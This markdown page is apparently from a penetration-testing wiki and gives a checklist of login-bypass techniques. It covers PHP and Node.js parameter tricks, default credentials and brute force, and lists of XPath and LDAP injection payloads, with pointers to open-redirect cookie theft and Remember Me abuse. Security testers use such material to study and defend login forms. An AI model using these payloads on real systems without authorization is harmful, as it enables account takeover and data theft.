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103 lines
4.0 KiB
Markdown
103 lines
4.0 KiB
Markdown
# Login Bypass
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{{#include ../../banners/hacktricks-training.md}}
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## **Bypass regular login**
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If you find a login page, here you can find some techniques to try to bypass it:
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- Check for **comments** inside the page (scroll down and to the right?)
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- Check if you can **directly access the restricted pages**
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- Check to **not send the parameters** (do not send any or only 1)
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- Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
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- **Change content type to json** and send json values (bool true included)
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- If you get a response saying that POST is not supported you can try to send the **JSON in the body but with a GET request** with `Content-Type: application/json`
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- Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
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- Nodejs will transform that payload to a query similar to the following one: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` which makes the password bit to be always true.
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- If you can send a JSON object you can send `"password":{"password": 1}` to bypass the login.
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- Remember that to bypass this login you still need to **know and send a valid username**.
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- **Adding `"stringifyObjects":true`** option when calling `mysql.createConnection` will eventually b**lock all unexpected behaviours when `Object` is passed** in the parameter.
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- Check credentials:
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- [**Default credentials**](../../generic-hacking/brute-force.md#default-credentials) of the technology/platform used
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- **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords).
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- Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password**
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- **Brute-force** using a bigger **dictionary (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
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### SQL Injection authentication bypass
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[Here you can find several tricks to bypass the login via **SQL injections**](../sql-injection/index.html#authentication-bypass).
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In the following page you can find a **custom list to try to bypass login** via SQL Injections:
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{{#ref}}
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sql-login-bypass.md
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{{#endref}}
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### No SQL Injection authentication bypass
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[Here you can find several tricks to bypass the login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
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As the NoSQL Injections requires to change the parameters value, you will need to test them manually.
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### XPath Injection authentication bypass
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[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)
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```
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' or '1'='1
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' or ''='
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' or 1]%00
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' or /* or '
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' or "a" or '
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' or 1 or '
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' or true() or '
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'or string-length(name(.))<10 or'
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'or contains(name,'adm') or'
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'or contains(.,'adm') or'
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'or position()=2 or'
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admin' or '
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admin' or '1'='2
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```
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### LDAP Injection authentication bypass
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[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)
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```
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*
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*)(&
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*)(|(&
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pwd)
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*)(|(*
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*))%00
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admin)(&)
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pwd
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admin)(!(&(|
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pwd))
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admin))(|(|
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```
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### Remember Me
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If the page has "**Remember Me**" functionality check how is it implemented and see if you can abuse it to **takeover other accounts**.
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### Redirects
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Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web.
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## Other Checks
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- Check if you can **enumerate usernames** abusing the login functionality.
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- Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** `<input autocomplete="false"`
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## Automatic Tools
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- [HTLogin](https://github.com/akinerkisa/HTLogin)
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{{#include ../../banners/hacktricks-training.md}}
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